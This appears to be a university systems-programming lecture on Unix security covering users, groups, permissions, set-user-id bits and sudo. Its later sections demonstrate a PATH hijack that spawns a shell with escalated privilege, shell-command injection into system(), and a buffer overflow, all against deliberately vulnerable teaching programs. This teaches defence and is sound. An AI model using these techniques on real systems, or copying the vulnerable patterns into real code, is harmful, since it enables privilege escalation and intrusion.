IC221: Systems Programming (SP18)


Home Policy Calendar Units Assignments Resources

Unit 7: OS Security

Table of Contents

1 O.S. Security Basics for Users and Groups

Through this class we have seen a number of security settings provided by the operating system. Formost, we discussed users and groups, file permissions, the terminal login, and finally the concept of system calls generally and how that system is designed to protect the user from itself.

Let's take a moment to review some of these concepts and the O.S. security settings thereof.

1.1 Users and Groups

All users are defined in the /etc/passwd file with lines like such:

.-- user name         .-- full name   .--- home directory  
|                     |               |
v                     v               v
aviv:x:35001:10120:Adam Aviv {}:/home/scs/aviv:/bin/bash
        ^     ^                                   ^
uid ----'     '--- gid (Default)                  '--- default shell

This is my passwd entry. It stores my user name, my user id, my default group id, my full name, my home directory, and my default shell. Every user has a unique username, user id, and default group; however, a user can be assigned to multiple groups. Group information is fined in the /etc/group directory, and here is entry for my default group:

.-- group name
|            
v            
scs:*:10120:webadmin,www-data,lucas,slack
       ^    \___________________________/
gid ---'                |
                        '- Additional users in that group

From the command line, the tool id will print this information, as well as groups

aviv@saddleback: ~ $ id
uid=35001(aviv) gid=10120(scs) groups=10120(scs),27(sudo),15000(mids)
aviv@saddleback: ~ $ groups
scs sudo mids

One thing you might notice is that I am in the sudo group … on this computer, at least. We'll come back to this later.

1.2 Permissions

Access to files are permission-ed based on the user and group designation of the accessing agent. Typically, this is a user, but the same designations are assigned to running processes. The permissions of a file can be observed using ls -l or stat:

aviv@saddleback: demo $ ls -l
total 4
-rwxr--r-- 1 aviv scs    0 Mar 27 09:41 a
-rw--wx--- 1 aviv scs    0 Mar 27 09:41 b
-------rwx 1 aviv scs    0 Mar 27 09:41 c
drwxr-x--- 2 aviv scs 4096 Mar 27 09:41 d
aviv@saddleback: demo $ stat b
  File: ‘b’
  Size: 0         	Blocks: 0          IO Block: 524288 regular empty file
Device: 1ch/28d	Inode: 34996239    Links: 1
Access: (0630/-rw--wx---)  Uid: (35001/    aviv)   Gid: (10120/     scs)
Access: 2015-03-27 09:41:22.884094861 -0400
Modify: 2015-03-27 09:41:22.884094861 -0400
Change: 2015-03-27 09:41:41.292753637 -0400

And if we look at a particular mode portion, let's recall how the permissions are identified:

user   other       .- group
  |     |          |
 .-.   .-.         v
-rwxr--r-- 1 aviv scs    0 Mar 27 09:41 a
^   '-'       ^
|    |        '-- user/owner
|   group
|
'- Directory Bit

When an operation is performed on the file, such as reading, writing, or executing, the user taking the action is compared to the permission. If the right permissions are set, and the user matches those permissions, the action can be taken. For example, a user that is not aviv may still read the file if they are in group scs. More, even a user who meets neither criteria, the owner or group of the file, can still read the file because the other read permission is set.

Permissions of files can be changed using three commands:

  • chmod : change the permissions string of the file which can only be done by the owner of the file (or super user).
  • chgrp : change the group of the file which can only be done by the owner of the file (or super user)
  • chown : change the owner of the file which can only be done by the super user.

The super user for unix systems is referred as root. It has full privileges and can do whatever it wants. Creating multiple levels of permissions by dividing users from one privilege to another is a key security concept. A key question is how does this occur? To understand this process, we have to start with when the user logs in.

1.3 Terminal Login and Password Checking

The log procedure is not a huge focus of this lesson; however, what happens after login is incredibly relevant. Recall from the lectures on the tty that when a user "calls" a tty the program getty will execute login. Following the diagram:

 runs as root                      
.......................................
:  .-------.                          :
:  | getty |                          :
:  '-------'                          :
:      |                              : 
:    exec() <-------.                 :
:      |            |                 :
: (1)  v            | (failed)        :
:  .--------.       |     ............:
:  | login  | ------'     :    
:  '--------'             :                    runs as the user
:      | (success)        :   ..................................
:      |      ............:   :                                :
:      |      :   ............: .-------. (3)                  :
:     fork() -:---:- exec() --> | shell |                      :
:.............: ^ :             '-------'                      :
 (2)            | :                  |                  .----. :
  changes ______| :               fork() --- exec() --> | ls | :
    user          :                                     '----' :
                  :............................................:

At (1), the log procedure is going to authentic a user by asking for a password. While it would seem logical for passwords to be stored in /etc/passwd, it isn't. The reason /etc/passwd is named such is that it used to store password; however, that is no longer the case. Now passwords are stored are in the file /etc/shadow which is carefully protected, and passwords are not stored in plain text in /etc/shadow but rather stored using secure hashes.

Of more interest to this lesson is what happens if the user successfully logs into the system. The log in procedure needs to run in a privileged state so that passwords can be checked from /etc/shadow. Only the root user has access to read/write the file, but we do not want it to be the case that when the user's shell starts up he/she gets the same permissions as the root user. To prevent that, there is a deescalation of privilege level by setting the effective user of the shell program to the user the that just logged onto the system – occurring at step (2). By the time the shell executes commands, the user is running — occurring at step (3).

2 Users/Group Capabilities of Programs

Running programs inherit the permissions of the user who execute it, but we will see how that might change. To start, let us first look at the system programming constructs for observing and testing the users permission, and the errors associated with permission. Following, we can look at how to escalate or change the permission settings.

2.1 Observing the privilege settings of programs

There are two basic system calls for retrieving useer and group information for an execution program.

  • uid_t getuid(void) : Returns the real user id of the calling process.
  • gid_t getgid(void) : Returns the real group id of the calling process.

Let's look at an example program.

/*get_uidgid.c*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char * argv[]){

  uid_t uid;
  gid_t gid;

  uid = getuid();

  gid = getgid();

  printf("uid=%d gid=%d\n", uid, gid);

}

When executing, my user id and group id is printed to the terminal:

m179998@saddleback: git $ ~aviv/lec-23-demo/get_uidgid 
uid=179998 gid=15000

These values are mine. If you were to run the same program, you would get a different value. For example, I have a test student account m17998 and if I run this program as that user:

m159998@saddleback: git $ ~aviv/lec-23-demo/get_uidgid 
uid=35013 gid=15000
m159998@saddleback: git $ ls -l ~aviv/lec-23-demo/get_uidgid 
-rwxr-x--x 1 aviv scs 8622 Mar 30 10:40 /home/scs/aviv/lec-23-demo/get_uidgid

Even though the program is owned by the user aviv, the execution of the program as the process takes on the permissions of the user that runs the program, which is m179998 in this demo. However, this could be changed.

2.2 Extra permission modes for set-user-id/set-group-id

There is also an obvious need to be able to set the user/group privileges of a running program. For example, consider the submission system we have been using all semester. You all run a program in my home directory:

~aviv/bin/ic221-submit

This program, run by you, has your user and group permissions, but it is able to take your submission and copy/save those submissions to my home directory, with my permissions at a location where you do not have access to write. How is that possible?

If you could somehow change the user/group setting of the running program to my user/group priviledge, then you could write to my home directory. This is essentially how the submission system works.

To have a program run with a different user's capabilities requires additional permissions on the program beyond just that the user can execute the program. These permissions are called the set-bit and if we look at the man page for chmod, the set-bit is composed of three permission bits we previously ignored:

A numeric mode is from one to four octal digits (0-7), derived by
adding up the bits with values 4, 2, and 1.  Omitted digits are
assumed to be leading zeros.  *The first digit selects the set user ID
(4) and set group ID (2) and restricted deletion or sticky (1)
attributes.*  The second digit selects permissions for the user who
owns the file: read (4), write (2), and execute (1); the third selects
permissions for other users in the file's group, with the same values;
and the fourth for other users not in the file's group, with the same
values.

That is, we previously assumed a permission string contained 3 octal digits, but really there are 4 octal digits. The missing octal digit is that for the set-bits. There are three possible set-bit settings and they are combined in the same way as other permissions:

  • 4 or s+u : set-user-id : sets the program's effective user id to the owner of the program
  • 2 or s+g: set-group-id : sets the program's effective group id to the group of the program
  • 1 or t: the sticky bit : used to denote the memory loading of a program or directory

These bits are used in much the same way as the other permission modes. For example, we can change the permission of our get_uidgid program from before like so:

chmod 6751 get_uidgid

And we can interpet the octals like so:

set      group
bits user |  other
  |   |   |   |
  V   V   V   V
 110 111 101 001
  6   7   5   1

When we look at the ls -l output of the program, the permission string reflects these settings with an "s" in the execute part of the string for user and group.

aviv@saddleback: lec-23-demo $ ls -l get_uidgid
-rwsr-s--x 1 aviv scs 8778 Mar 30 16:45 get_uidgid

2.3 Real vs. Effective Capabilities

With the set-bits, when the program runs, the capabilities of the program are effectively that of the owner and group of the program. However, the real user id and real group id remain that of the user who ran the program. This brings up the concept of effective vs. real identifiers:

  • real user id (or group id) : the identifier of the actual user who executed a program
  • effective user id (or group id) : the idenifier for the capabilities or permissions settings of an executing program.

The system calls getuid() and getgid() return the real user and group identifiers, but we can also retrieve the effective user and group identifiers:

  • uid_t geteuid(void) : return the effective user identifier for the calling process
  • gid_t getegid(void) : return the effective group identifer for the calling process

We now have enough to test set-bit programs using a the following program that prints both the real and effective user/group identities.

/*get_euidegid.c*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char * argv[]){

  uid_t uid,euid;
  gid_t gid,egid;

  uid = getuid();
  gid = getgid();
  printf(" uid=%d  gid=%d\n",  uid,  gid);

  euid = geteuid();
  egid = getegid();
  printf("euid=%d egid=%d\n", euid, egid);


}

As the owner of the file, after compilation, the permissions can be set to add set-user-id:

aviv@saddleback: lec-23-demo $ make get_euidegid
cc     get_euidegid.c   -o get_euidegid
aviv@saddleback: lec-23-demo $ chmod u+s get_euidegid
aviv@saddleback: lec-23-demo $ ls -l get_euidegid
-rwsr-x--x 1 aviv scs 8730 Mar 31 08:31 get_euidegid

Now as the m179998 user, the program can be run, and we see that the effective user id of the program is aviv's id:

m179998@saddleback: ~ $ ~aviv/lec-23-demo/get_euidegid 
 uid=179998  gid=15000
euid=35001 egid=15000
m179998@saddleback: ~ $ id
uid=179998(m179998) gid=15000(mids) groups=15000(mids),15001(ic221)
m179998@saddleback: ~ $ id aviv
uid=35001(aviv) gid=10120(scs) groups=27(sudo),15000(mids),10120(scs),15001(ic221)

Continuing the example, we can see the other set-bit settings give different effective user/group settings:

aviv@saddleback: lec-23-demo $ chmod g+s get_euidegid
aviv@saddleback: lec-23-demo $ ls -l get_euidegid
-rwsr-s--x 1 aviv scs 8730 Mar 31 08:31 get_euidegid
m179998@saddleback: ~ $ ~aviv/lec-23-demo/get_euidegid 
 uid=179998  gid=15000
euid=35001 egid=10120
aviv@saddleback: lec-23-demo $ ls -l get_euidegid
-rwxr-s--x 1 aviv scs 8730 Mar 31 08:31 get_euidegid
m179998@saddleback: ~ $ ~aviv/lec-23-demo/get_euidegid 
 uid=179998  gid=15000
euid=179998 egid=10120

And just to show how the effective user ID plays a role, let's consider what happens when we have set-group-id program that opens a file:

/*create_file.c*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char * argv[]){

  int i,fd;

  for(i=0;i<argc;i++){

    //create an empty file
    if( (fd = open(argv[i],O_CREAT,0666) > 0) ){
      close(fd);
    }else{
      perror("open");
    }
  }

  return 0;
}

When we compile we can set this program to set-group-id:

aviv@saddleback: lec-23-demo $ make create_file
cc     create_file.c   -o create_file
aviv@saddleback: lec-23-demo $ chmod g+s create_file
aviv@saddleback: lec-23-demo $ ls -l create_file
-rwxr-s--x 1 aviv scs 8620 Mar 31 08:41 create_file

Now, let's create a file as the m179998 user:

m179998@saddleback: ~ $ ~aviv/lec-23-demo/create_file a b c 
m179998@saddleback: ~ $ ls -l a b c
-rw-r----- 1 m179998 scs 0 Mar 31 08:42 a
-rw-r----- 1 m179998 scs 0 Mar 31 08:42 b
-rw-r----- 1 m179998 scs 0 Mar 31 08:42 c

Notice that the group of the file is scs not mids, which is the default group.

However, see what happens if we make this program set-user-id instead:

aviv@saddleback: lec-23-demo $ chmod g-s create_file
aviv@saddleback: lec-23-demo $ chmod u+s create_file
aviv@saddleback: lec-23-demo $ ls -l create_file
-rwsr-x--x 1 aviv scs 8620 Mar 31 08:41 create_file
m179998@saddleback: ~ $ rm -f a b c
m179998@saddleback: ~ $ ~aviv/lec-23-demo/create_file a b c 
open: Permission denied
open: Permission denied
open: Permission denied
m179998@saddleback: ~ $ ls -l a b c
ls: cannot access a: No such file or directory
ls: cannot access b: No such file or directory
ls: cannot access c: No such file or directory

The operation is not permitted, and this is because the user aviv does not have the permission to write to the directory. But, what if we wanted to create a file in the director that is owned by aviv in a directory that the real user has permission to write to? What we need is a way to programmatically change the capabilities.

2.4 Programmatically Downgrading/Upgrading Capabilities

The set-bits automatically start a program with the effective user or group id set; however, there are times when we might want to downgrade priviledge or change permission dynamically. There are two system calls to change user/group settings of an executing process:

  • setuid(uid_t uid) : change the effective user id of a process to uid
  • setgid(gid_t gid) : change the effective group id of a proces to gid

The requirements of setuid() (for all users other than root) is that the effective user id can be changed to the real user id of the program or to an effective user id as described in the set-bits. The root user, however, can downgrade to any user id and upgrade back to the root user. For setgid() the user can chance the group id to any group the user belongs to or as allowed by the set-group-id bit.

Now we can look at a program that downgrades and upgrades a program dynamically:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(){

  uid_t uid,euid;
  gid_t gid,egid;

  uid_t saved_euid;

  uid = getuid();
  gid = getgid();
  printf(" uid=%d  gid=%d\n",  uid,  gid);

  euid = geteuid();
  egid = getegid();
  printf("euid=%d egid=%d\n", euid, egid);


  saved_euid=euid;
  setuid(uid);

  printf("---- setuid(%d) ----\n",uid);

  uid = getuid();
  gid = getgid();
  printf(" uid=%d  gid=%d\n",  uid,  gid);

  euid = geteuid();
  egid = getegid();
  printf("euid=%d egid=%d\n", euid, egid);


  setuid(saved_euid);

  printf("---- setuid(%d) ----\n",saved_euid);
  uid = getuid();
  gid = getgid();
  printf(" uid=%d  gid=%d\n",  uid,  gid);

  euid = geteuid();
  egid = getegid();
  printf("euid=%d egid=%d\n", euid, egid);

}

If we look at the output with the program set-user-id ran by m179998:

m179998@saddleback: ~ $ ~aviv/lec-23-demo/setuid 
 uid=179998  gid=15000
euid=35001 egid=15000
---- setuid(179998) ----
 uid=179998  gid=15000
euid=179998 egid=15000
---- setuid(35001) ----
 uid=179998  gid=15000
euid=35001 egid=15000

3 sudo and su

With this understanding of how user and group id are assigned, we can turn our attention to two built in commands that perform these actions. In particular, sudo and su which will execute a command as a specified user or switch to a specified user. By default, these commands execute as the root user, and you need to know the root password or have sudo access to use them.

We can see this as the case if I were to run the get_euidegid program using sudo. First notice that it is no longer set-group or set-user:

aviv@saddleback: lec-23-demo $ ls -l get_euidegid
-rwxr-x--x 1 aviv scs 8730 Mar 31 08:31 get_euidegid
aviv@saddleback: lec-23-demo $ sudo ./get_euidegid 
[sudo] password for aviv: 
 uid=0  gid=0
euid=0 egid=0

After sudo authenticated me, the program's effective and real user identification becomes 0 which is the uid/gid for the root user.

3.1 sudoers

Who has permission to run sudo commands? This is important because on many modern unix systems, like ubuntu, there is no default root password. Instead certain users are deemed to be sudoers or privileged users. These are set in a special configuraiton file called the /etc/sudoers.

aviv@saddleback: lec-23-demo $ cat /etc/sudoers
cat: /etc/sudoers: Permission denied
aviv@saddleback: lec-23-demo $ sudo cat /etc/sudo
sudoers    sudoers.d/ 
aviv@saddleback: lec-23-demo $ sudo cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root	ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

Notice that only root has access to read this file, and since I am a sudoer on saddleback I can get access to it. If you look carefully, you can perform a basic parse of the settings. The root user has full sudo permissions, and other sudoer's are determine based on group membership. Users in the sudo or admin group may run commands as root, and I am a member of the sudo group:

aviv@saddleback: lec-23-demo $ id
uid=35001(aviv) gid=10120(scs) groups=10120(scs),27(sudo),15000(mids),15001(ic221)

However, on a lab machine, I do not have such group settings:

aviv@mich302csd01u: ~ $ id
uid=35001(aviv) gid=10120(scs) groups=10120(scs),15000(mids)

4 Attacks on System Programs

It is an unfortunate truth of security that all programs have faults because humans have faults — human's write programs. As such, we will take some time to understand the kinds of mistakes you, me, and all programmers may make that can lead to security violations.

This is a broad topic area, and we only have a small amount of time to talk about it. We will focus on three classes of attack that are very common for the kinds of programs we've been writing in this course.

  • Path Lookup Attacks: Where the attacker leverages path lookup to compromise an executable or library
  • Injection Attacks: Where an attacker can inject code, usually in the form of bash, into a program that will get run.
  • Overflow Attacks: Where the attack overflows a buffer to alter program state.

In isolation, each of these attacks can just make a program misbehave; however, things get interesting when you have privilege escalation, such as with the set-bits. A privilege program that can be exploited will be able to perform arbitrary tasks.

Each of these topics have great nuance, and the hope is to give you a general overview so you can explore the topic more on your own.

5 Path Attacks

We've been using path lookup throughout the class. Perhaps the best example is when we are in the shell and type a command:

aviv@saddleback: demo $ cat helloworld.txt
Hello World

The command cat is run, but the program that is actually cat's the file exists in a different place in the file system. We can find that location using the which command:

aviv@saddleback: demo $ which cat
/bin/cat

So when we type cat, we are really executing /bin/cat which is found by exploring the PATH enviroment variable:

aviv@saddleback: demo $ echo $PATH
/home/scs/aviv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

Each of the directories listed is searched, in order, until that command is found. Environment variables are global variables set across programs that provide information about the current environment.

The PATH variable is a perfect example of this, and the customizability of the environment variables. If you look at the directories along my path, I have a bin directory Win my home directory so I can load custom binaries. The fact that I can customize the PATH in this way can lead to some interesting security situations.

5.1 system()

To help this conversation, we need to introduce two library functions that work much like execvp() with a fork(), like we've done all along, but more compact. Here's the description in the manual page:

NAME
       system - execute a shell command

SYNOPSIS
       #include <stdlib.h>

       int system(const char *command);

DESCRIPTION

       system() executes a command specified in command by calling
       /bin/sh -c command, and returns after the command has been
       completed.  During execution of the command, SIGCHLD will be
       blocked, and SIGINT and SIGQUIT will be ignored.

That is, the system() function will run an arbitrary shell command. Let's look at a very simple example, a "hello world" that uses two commands.

/*system_cat.c*/
#include <stdio.h>
#include <stdlib.h>

int main(){


  system("cat");

}
aviv@saddleback: demo $ echo "Hello World" | ./system_cat
Hello World

The system_cat program runs cat with system(), and so it will print whatever it reads from stdin to the screen. It turns out, that this program, despite its simplicity, actually has a relatively bad security flaw. Let's quickly consider what might happen if we were to change the PATH value to include our local directory:

aviv@saddleback: demo $ export PATH=.:$PATH
aviv@saddleback: demo $ echo $PATH
.:/home/scs/aviv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

So now the local directory is on the path, and if I were to create a program named cat, then that cat would run instead of the one you would expect. For example, here is such a program:

/*cat.c*/
#include <stdlib.h>

int main(){

  system("echo 'Goodbye World'");
}

Now, when we run our program for system_cat, we don't get the same result:

aviv@saddleback: demo $ echo "Hello World" | ./system_cat 
Hello World
aviv@saddleback: demo $ make
clang -g -Wall    cat.c   -o cat
aviv@saddleback: demo $ echo "Hello World" | ./system_cat 
Goodbye World

This is not just a problem with the system() command, but also execvp(), which will also look up commands along the path.

#include <unistd.h>

int main(){

  char * args[] = {"cat",NULL};

  execvp(args[0],args);


}
aviv@saddleback: demo $ echo "Hello World" | ./execvp_cat 
Hello World
aviv@saddleback: demo $ make
clang -g -Wall    cat.c   -o cat
aviv@saddleback: demo $ echo "Hello World" | ./execvp_cat 
Goodbye World

How do we fix this? There are two solutions:

  1. Always use full paths. Don't specify a command to run by its name, instead describe exactly which program is to be executed.
  2. Fix the path before executing using setenv()

You can actually control the current PATH setting during execution. To do this you can set the enviorment variables using setenv() and getenv()

#include <stdlib.h>
#include <unistd.h>

int main(){

  //ensure the enviorment only has the path we want
  //and overwrite
  setenv("PATH","/bin",1);

  char * args[] = {"cat",NULL};

  execvp(args[0],args);

}
aviv@saddleback: demo $ echo "Hello World" | ./setenv_cat 
Hello World
aviv@saddleback: demo $ make
clang -g -Wall    cat.c   -o cat
aviv@saddleback: demo $ echo "Hello World" | ./setenv_cat 
Hello World

5.2 Path attacks with set-user-id bits

Clearly, ensuring the PATH is correct is vitally important, but let's see what happens when we introduce set-user-id to the mix. This time, I've set the program system_cat to be set-user-id in a place that others can run it:

aviv@saddleback: lec-24-demo $ chmod u+s system_cat 
aviv@saddleback: lec-24-demo $ ls -l
total 12
-rwsr-x--x 1 aviv scs 9742 Mar 31 16:09 system_cat

Now as user m179998, I'm going to run the program.

m179998@saddleback: ~ $ echo "Hello World" | ~aviv/lec-24-demo/system_cat
Hello World

It works like cat, and so we are going to do a PATH attack again, by add the local directory to the path.

m179998@saddleback: ~ $ export PATH=.:$PATH
m179998@saddleback: ~ $ echo $PATH
.:/home/mids/m179998/bin:/usr/local/bin:/usr/bin:/usr/include:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

This time, instead of doing something silly with our version of cat lets do something not so silly. Let's have it run a shell and also set our real user id:

#include <stdlib.h>
#include <stdlib.h>

int main(){

  char * args[]={"/bin/sh",NULL};

  //set our real uid to our effective uid
  setreuid(geteuid(),geteuid());

  execvp(args[0],args);

}

This time when we run the system_cat program, it will run bash as the set-user-id user. Now we've just escalated privilege.

m179998@saddleback:~$ ~aviv/lec-24-demo/system_cat
$ id
uid=35001(aviv) gid=15000(mids) groups=10120(scs),15000(mids),15001(ic221)
$ bash
bash: /home/mids/m179998/.bashrc: Permission denied
aviv@saddleback:~$

And now user m179998 has become user aviv!

6 Injection Attacks

Now, lets consider a situation where you use system() better. You call all programs with absolute path and everything, but even that is not enough. You must also consider injection attacks which is when the attacker can inject code that will run. In our case, the injected code will be bash.

Consider this program which prompts the user for a file to cat out.

/* inject_system.c*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(){

  char cmd[1024] = "/bin/cat ./"; //will append to this string

  char input[40];

  printf("What input do you want to 'cat' (choose from below)\n");
  system("/bin/ls"); //show available files

  printf("input > ");
  fflush(stdout); //force stdout to print

  scanf("%s",input);//read input

  strcat(cmd,input); //create the command

  printf("Executing: %s\n", cmd);
  fflush(stdout); //force stdout to print

  system(cmd);


}

If we were to run this program, it does mostly what you expect:

aviv@saddleback: demo $ ./inject_system 
What input do you want to 'cat' (choose from below)
cat.c	    execvp_cat.c   inject_system.c   input.txt	mal-lib		 overflow_system.c   run_foo	run_foo.o   setenv_cat.c   shared-lib  system_cat.c
execvp_cat  inject_system  inject_system.c~  Makefile	overflow_system  overflow_system.c~  run_foo.c	setenv_cat  setenv_cat.c~  system_cat  #system-ex.c#
input > inject_system.c
Executing: /bin/cat ./inject_system.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(){

  char cmd[1024] = "/bin/cat ./"; //will append to this string

  char input[40];

  printf("What input do you want to 'cat' (choose from below)\n");
  system("/bin/ls"); //show available files

  printf("input > ");
  fflush(stdout); //force stdout to print

  scanf("%s",input);//read input

  strcat(cmd,input); //create the command

  printf("Executing: %s\n", cmd);
  fflush(stdout); //force stdout to print

  system(cmd);
    

}

Ok, now consider if we were to provide input that doesn't fit this model. What if we were to provide shell commands as input.

aviv@saddleback: demo $ ./inject_system 
What input do you want to 'cat' (choose from below)
cat.c	    execvp_cat.c   inject_system.c   input.txt	mal-lib		 overflow_system.c   run_foo	run_foo.o   setenv_cat.c   shared-lib  system_cat.c
execvp_cat  inject_system  inject_system.c~  Makefile	overflow_system  overflow_system.c~  run_foo.c	setenv_cat  setenv_cat.c~  system_cat  #system-ex.c#
input > ;echo
Executing: /bin/cat ./;echo
/bin/cat: ./: Is a directory

aviv@saddleback: demo $

The input we provided was ";echo" the semi-colon closes off a bash command alowing a new one to start. Notice that there is an extra new line printed, that was the echo printing. Now, can we get this program to run something more interesting?

We still have the cat program we wrote that prints "Goodbye World" and the PATH is set up to look in the local directory. Setting that up, we get the following result:

aviv@saddleback: demo $ ./inject_system 
What input do you want to 'cat' (choose from below)
cat    execvp_cat    inject_system    inject_system.c~	Makefile  overflow_system    overflow_system.c~  run_foo.c  setenv_cat	  setenv_cat.c~  system_cat    #system-ex.c#
cat.c  execvp_cat.c  inject_system.c  input.txt		mal-lib   overflow_system.c  run_foo		 run_foo.o  setenv_cat.c  shared-lib	 system_cat.c
input > ;cat
Executing: /bin/cat ./;cat
/bin/cat: ./: Is a directory
Goodbye World

At this point, we own this program (pwn in the parlance). If the program were set-user-id, we could escalate our privilege.

7 Overflow Attacks

Two attacks down, moving onto the third. Let's now assume that the programmer has wised up to the two previous attacks. Now we are using full paths to executables and we are scrubbing the input to remove any potential bash commands prior to execution. The result is the following program:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(){

  char cmd[1024] = "/bin/cat ./"; //will append to this string

  char input[40];


  printf("What input do you want to 'cat' (choose from below)\n");
  system("/bin/ls"); //show available files

  printf("input > ");
  fflush(stdout); //force stdout to print

  scanf("%s",input);//read input

  //clean input before passing to /bin/cat
  int i;
  for(i=0;i<40;i++){
    if(input[i] == ';' || input[i] == '|' || input[i] == '$' || input[i] == '&'){
      input[i] = '\0'; //change all ;,|,$,& to a NULL
    }
  }

  //concatenate the two strings
  strcat(cmd,input);

  printf("Executing: %s\n", cmd);
  fflush(stdout);

  system(cmd);


}
aviv@saddleback: demo $ make
clang -g -Wall    cat.c   -o cat
clang -g -Wall    overflow_system.c   -o overflow_system
aviv@saddleback: demo $ ./overflow_system 
What input do you want to 'cat' (choose from below)
cat    execvp_cat    inject_system    inject_system.c~	Makefile  overflow_system    overflow_system.c~  run_foo.c  setenv_cat	  setenv_cat.c~  system_cat    #system-ex.c#
cat.c  execvp_cat.c  inject_system.c  input.txt		mal-lib   overflow_system.c  run_foo		 run_foo.o  setenv_cat.c  shared-lib	 system_cat.c
input > ;cat
Executing: /bin/cat ./
/bin/cat: ./: Is a directory
#+END_SRC

This time, no dice, but the jig is not up yet. There is an overflow attack. Consider what happens when we increase the size of the input selection. To do this programatically, I'm going to use a small trick of the python programming language to print a bunch of 'A's.

aviv@saddleback: demo $ python -c "print 'A'*10"
AAAAAAAAAA
aviv@saddleback: demo $ python -c "print 'A'*20"
AAAAAAAAAAAAAAAAAAAA
aviv@saddleback: demo $ python -c "print 'A'*30"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
aviv@saddleback: demo $ python -c "print 'A'*40"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
aviv@saddleback: demo $ python -c "print 'A'*50"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

I'm using this to produce strings of varying length, length 10, 20, 30, 40, and 50. Those strings can be sent to the target program using a pipe. And we can see the result:

aviv@saddleback: demo $ python -c "print 'A'*10" | ./overflow_system 
What input do you want to 'cat' (choose from below)
cat    execvp_cat    inject_system    inject_system.c~	Makefile  overflow_system    overflow_system.c~  run_foo.c  setenv_cat	  setenv_cat.c~  system_cat    #system-ex.c#
cat.c  execvp_cat.c  inject_system.c  input.txt		mal-lib   overflow_system.c  run_foo		 run_foo.o  setenv_cat.c  shared-lib	 system_cat.c
input > Executing: /bin/cat ./AAAAAAAAAA
/bin/cat: ./AAAAAAAAAA: No such file or directory
aviv@saddleback: demo $ python -c "print 'A'*20" | ./overflow_system 
What input do you want to 'cat' (choose from below)
cat    execvp_cat    inject_system    inject_system.c~	Makefile  overflow_system    overflow_system.c~  run_foo.c  setenv_cat	  setenv_cat.c~  system_cat    #system-ex.c#
cat.c  execvp_cat.c  inject_system.c  input.txt		mal-lib   overflow_system.c  run_foo		 run_foo.o  setenv_cat.c  shared-lib	 system_cat.c
input > Executing: /bin/cat ./AAAAAAAAAAAAAAAAAAAA
/bin/cat: ./AAAAAAAAAAAAAAAAAAAA: No such file or directory
aviv@saddleback: demo $ python -c "print 'A'*30" | ./overflow_system 
What input do you want to 'cat' (choose from below)
cat    execvp_cat    inject_system    inject_system.c~	Makefile  overflow_system    overflow_system.c~  run_foo.c  setenv_cat	  setenv_cat.c~  system_cat    #system-ex.c#
cat.c  execvp_cat.c  inject_system.c  input.txt		mal-lib   overflow_system.c  run_foo		 run_foo.o  setenv_cat.c  shared-lib	 system_cat.c
input > Executing: /bin/cat ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/bin/cat: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directory
aviv@saddleback: demo $ python -c "print 'A'*40" | ./overflow_system 
What input do you want to 'cat' (choose from below)
cat    execvp_cat    inject_system    inject_system.c~	Makefile  overflow_system    overflow_system.c~  run_foo.c  setenv_cat	  setenv_cat.c~  system_cat    #system-ex.c#
cat.c  execvp_cat.c  inject_system.c  input.txt		mal-lib   overflow_system.c  run_foo		 run_foo.o  setenv_cat.c  shared-lib	 system_cat.c
input > Executing: /bin/cat ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/bin/cat: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directory
aviv@saddleback: demo $ python -c "print 'A'*50" | ./overflow_system 
What input do you want to 'cat' (choose from below)
cat    execvp_cat    inject_system    inject_system.c~	Makefile  overflow_system    overflow_system.c~  run_foo.c  setenv_cat	  setenv_cat.c~  system_cat    #system-ex.c#
cat.c  execvp_cat.c  inject_system.c  input.txt		mal-lib   overflow_system.c  run_foo		 run_foo.o  setenv_cat.c  shared-lib	 system_cat.c
input > Executing: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found

Something changes at when the input string is 50 bytes long. We overflow the buffer for the input. Recall that the input buffer is only 40 bytes and size, and it is placed adjacent to the cmd buffer:

char cmd[1024] = "/bin/cat ./"; //will append to this string

char input[40];

